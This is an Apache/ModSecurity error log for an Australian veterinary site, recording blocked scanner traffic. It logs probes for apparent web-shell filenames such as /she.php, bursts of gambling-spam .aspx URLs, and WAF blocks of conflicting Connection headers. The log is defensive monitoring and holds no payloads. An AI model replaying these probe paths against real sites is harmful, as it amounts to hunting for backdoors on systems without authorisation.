[Wed Apr 08 00:06:16.279777 2026] [:error] [pid 59660:tid 59670] [client 20.251.113.42:4108] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ympoo.php"] [unique_id "adUreDp3-oiX2o5bTswyaAAAAcg"]
[Wed Apr 08 00:06:17.022155 2026] [:error] [pid 37719:tid 37731] [client 20.251.113.42:58010] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/she.php"] [unique_id "adUreU09Xv52u2xXGLBu6QAAAMk"]
[Wed Apr 08 00:06:17.882744 2026] [:error] [pid 37598:tid 37671] [client 20.251.113.42:57124] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/she.php"] [unique_id "adUree9g7q_cV2WhPazrHQAAAIo"]
[Wed Apr 08 00:06:18.594893 2026] [:error] [pid 12948:tid 12966] [client 20.251.113.42:59580] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/she.php"] [unique_id "adUresbeSPAN8LvMqsbTjAAAAQ8"]
[Wed Apr 08 00:06:19.151453 2026] [:error] [pid 37597:tid 37634] [client 20.251.113.42:61063] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/she.php"] [unique_id "adUrew6uAY0QAy-8EELnHQAAAEA"]
[Wed Apr 08 00:06:19.716613 2026] [:error] [pid 37597:tid 37636] [client 20.251.113.42:58015] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/haojj.php"] [unique_id "adUrew6uAY0QAy-8EELnHgAAAEI"]
[Wed Apr 08 00:06:20.300985 2026] [:error] [pid 37597:tid 37656] [client 20.251.113.42:23189] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/haojj.php"] [unique_id "adUrfA6uAY0QAy-8EELnIAAAAFY"]
[Wed Apr 08 00:06:20.949038 2026] [:error] [pid 37597:tid 37655] [client 20.251.113.42:58031] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/haojj.php"] [unique_id "adUrfA6uAY0QAy-8EELnKAAAAFU"]
[Wed Apr 08 00:06:21.706805 2026] [:error] [pid 37597:tid 37647] [client 20.251.113.42:59547] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/haojj.php"] [unique_id "adUrfQ6uAY0QAy-8EELnLQAAAE0"]
[Wed Apr 08 00:48:15.859032 2026] [:error] [pid 5337:tid 5373] [client 62.84.185.56:19964] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "adU1TyboIFdw6tlcN12u0QAAAQ8"]
[Wed Apr 08 00:48:20.578303 2026] [:error] [pid 4840:tid 5167] [client 62.84.185.56:2816] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "adU1VBsUwg2fEe9p9LSovwAAAAc"]
[Wed Apr 08 03:50:15.845290 2026] [:error] [pid 43633:tid 43648] [client 185.231.100.72:51672] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "adVf99sCWksOCxqQlIIWdQAAAAM"]
[Wed Apr 08 03:50:18.379813 2026] [:error] [pid 43638:tid 43684] [client 185.231.100.72:43128] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "adVf-qy2EglHdeFahtYAugAAAEw"]
[Wed Apr 08 03:50:20.779443 2026] [:error] [pid 43738:tid 43748] [client 185.231.100.72:43136] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "adVf_AjwY_KYpD8o1SfHbQAAAMg"]
[Wed Apr 08 03:50:23.272195 2026] [:error] [pid 43738:tid 43761] [client 185.231.100.72:48088] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "adVf_wjwY_KYpD8o1SfHdgAAANU"]
[Wed Apr 08 03:50:25.683724 2026] [:error] [pid 43738:tid 43744] [client 185.231.100.72:48102] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "adVgAQjwY_KYpD8o1SfHegAAAMQ"]
[Wed Apr 08 03:50:28.186963 2026] [:error] [pid 43639:tid 43717] [client 185.231.100.72:48106] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "adVgBMyI1SifWKyNFYZF2AAAAJI"]
[Wed Apr 08 03:50:30.588592 2026] [:error] [pid 43638:tid 43673] [client 185.231.100.72:48110] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "adVgBqy2EglHdeFahtYA0wAAAEE"]
[Wed Apr 08 03:50:33.124359 2026] [:error] [pid 43638:tid 43681] [client 185.231.100.72:49152] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "adVgCay2EglHdeFahtYA2gAAAEk"]
[Wed Apr 08 03:50:35.510252 2026] [:error] [pid 43638:tid 43688] [client 185.231.100.72:49164] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "adVgC6y2EglHdeFahtYA3wAAAFA"]
[Wed Apr 08 03:50:38.060730 2026] [:error] [pid 43639:tid 43721] [client 185.231.100.72:49174] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adVgDsyI1SifWKyNFYZF7gAAAJY"]
[Wed Apr 08 03:50:40.429621 2026] [:error] [pid 43633:tid 43668] [client 185.231.100.72:49186] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adVgENsCWksOCxqQlIIWnAAAABc"]
[Wed Apr 08 03:50:42.959984 2026] [:error] [pid 43738:tid 43746] [client 185.231.100.72:54404] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adVgEgjwY_KYpD8o1SfHwgAAAMY"]
[Wed Apr 08 03:50:45.464148 2026] [:error] [pid 43738:tid 43759] [client 185.231.100.72:54418] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adVgFQjwY_KYpD8o1SfH0gAAANM"]
[Wed Apr 08 03:50:47.836823 2026] [:error] [pid 43639:tid 43721] [client 185.231.100.72:54434] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "adVgF8yI1SifWKyNFYZF-QAAAJY"]
[Wed Apr 08 03:50:50.362665 2026] [:error] [pid 43638:tid 43681] [client 185.231.100.72:54448] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adVgGqy2EglHdeFahtYA8wAAAEk"]
[Wed Apr 08 03:50:52.745154 2026] [:error] [pid 43639:tid 43712] [client 185.231.100.72:32910] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adVgHMyI1SifWKyNFYZGAgAAAI0"]
[Wed Apr 08 03:50:55.252785 2026] [:error] [pid 43738:tid 43756] [client 185.231.100.72:32924] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adVgHwjwY_KYpD8o1SfIAAAAANA"]
[Wed Apr 08 03:50:57.779149 2026] [:error] [pid 43639:tid 43709] [client 185.231.100.72:32938] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adVgIcyI1SifWKyNFYZGDQAAAIo"]
[Wed Apr 08 03:51:00.306121 2026] [:error] [pid 43738:tid 43763] [client 185.231.100.72:32948] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adVgJAjwY_KYpD8o1SfIDgAAANc"]
[Wed Apr 08 03:51:02.830451 2026] [:error] [pid 43639:tid 43709] [client 185.231.100.72:34914] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adVgJsyI1SifWKyNFYZGGAAAAIo"]
[Wed Apr 08 03:51:05.210197 2026] [:error] [pid 43638:tid 43678] [client 185.231.100.72:34916] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adVgKay2EglHdeFahtYBLwAAAEY"]
[Wed Apr 08 09:25:43.420382 2026] [:error] [pid 47625:tid 47647] [client 103.168.67.159:64906] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adWulyVuHyNWzZlE8PA3UAAAAA0"]
[Wed Apr 08 09:25:44.137520 2026] [:error] [pid 16630:tid 16639] [client 103.168.67.159:65302] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adWumCjfVAkPG-jgJEpRXgAAAQc"]
[Wed Apr 08 09:25:44.837708 2026] [:error] [pid 16630:tid 16653] [client 103.168.67.159:1160] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adWumCjfVAkPG-jgJEpRcQAAARU"]
[Wed Apr 08 09:25:45.533711 2026] [:error] [pid 47627:tid 47702] [client 103.168.67.159:1484] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adWumXOljf1Quv_kDjn1JAAAAIM"]
[Wed Apr 08 09:25:46.239012 2026] [:error] [pid 47627:tid 47708] [client 103.168.67.159:1794] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dashboard"] [unique_id "adWumnOljf1Quv_kDjn1LQAAAIk"]
[Wed Apr 08 09:25:46.944581 2026] [:error] [pid 544:tid 562] [client 103.168.67.159:2050] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dashboard"] [unique_id "adWumjieLKSoiLVA6YfDdQAAAY0"]
[Wed Apr 08 09:25:47.695689 2026] [:error] [pid 47732:tid 47738] [client 103.168.67.159:2196] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dashboard"] [unique_id "adWum4m4N5QW9Mh7G128jwAAAMQ"]
[Wed Apr 08 09:25:48.400788 2026] [:error] [pid 16630:tid 16639] [client 103.168.67.159:2270] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dashboard"] [unique_id "adWunCjfVAkPG-jgJEpRfAAAAQc"]
[Wed Apr 08 10:14:43.078921 2026] [:error] [pid 49984:tid 50009] [client 123.187.240.242:59342] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adW6E-YY_Bz5lRHcJIFG5QAAAVM"]
[Wed Apr 08 12:00:48.780830 2026] [proxy_fcgi:error] [pid 6242:tid 6278] [client 52.59.43.236:63660] AH01067: Failed to read FastCGI header, referer: https://vetstars.com.au/
[Wed Apr 08 12:00:48.780907 2026] [proxy_fcgi:error] [pid 6242:tid 6278] (104)Connection reset by peer: [client 52.59.43.236:63660] AH01075: Error dispatching request to : , referer: https://vetstars.com.au/
[Wed Apr 08 12:42:59.667356 2026] [:error] [pid 12385:tid 12401] [client 43.166.136.24:33392] [client 43.166.136.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adXc0yAjtvRQEkLosq3njQAAAAw"]
[Wed Apr 08 13:46:23.703221 2026] [:error] [pid 35642:tid 35651] [client 94.154.239.69:60190] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adXrrw-CqryxdEs5DN85GAAAAEc"]
[Wed Apr 08 13:46:26.313701 2026] [:error] [pid 12385:tid 12406] [client 94.154.239.69:54236] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adXrsiAjtvRQEkLosq0AiQAAABE"]
[Wed Apr 08 13:46:29.056548 2026] [:error] [pid 12453:tid 12475] [client 94.154.239.69:54240] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "adXrtRjtW7S6XsLPvrQg4AAAAJQ"]
[Wed Apr 08 13:46:31.754317 2026] [:error] [pid 12453:tid 12479] [client 94.154.239.69:54260] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adXrtxjtW7S6XsLPvrQg6wAAAJg"]
[Wed Apr 08 13:46:34.334159 2026] [:error] [pid 35642:tid 35660] [client 94.154.239.69:46594] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adXrug-CqryxdEs5DN85SwAAAFA"]
[Wed Apr 08 13:46:37.063784 2026] [:error] [pid 12453:tid 12459] [client 94.154.239.69:46620] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adXrvRjtW7S6XsLPvrQhBAAAAIQ"]
[Wed Apr 08 13:46:39.733405 2026] [:error] [pid 12386:tid 12428] [client 94.154.239.69:46624] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adXrvxLhhLtqHi2gK7VVmQAAAQw"]
[Wed Apr 08 13:46:42.395892 2026] [:error] [pid 12490:tid 12499] [client 94.154.239.69:46646] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adXrwm1Fea4F4fbumr1zQQAAAMc"]
[Wed Apr 08 13:46:45.026569 2026] [:error] [pid 12490:tid 12501] [client 94.154.239.69:36676] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adXrxW1Fea4F4fbumr1zXgAAAMk"]
[Wed Apr 08 13:46:47.705372 2026] [:error] [pid 35642:tid 35668] [client 94.154.239.69:36690] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adXrxw-CqryxdEs5DN85lAAAAFg"]
[Wed Apr 08 13:46:50.374947 2026] [:error] [pid 35642:tid 35667] [client 94.154.239.69:36710] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adXryg-CqryxdEs5DN85pQAAAFc"]
[Wed Apr 08 13:46:53.105981 2026] [:error] [pid 12386:tid 12421] [client 94.154.239.69:33570] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adXrzRLhhLtqHi2gK7VV5wAAAQU"]
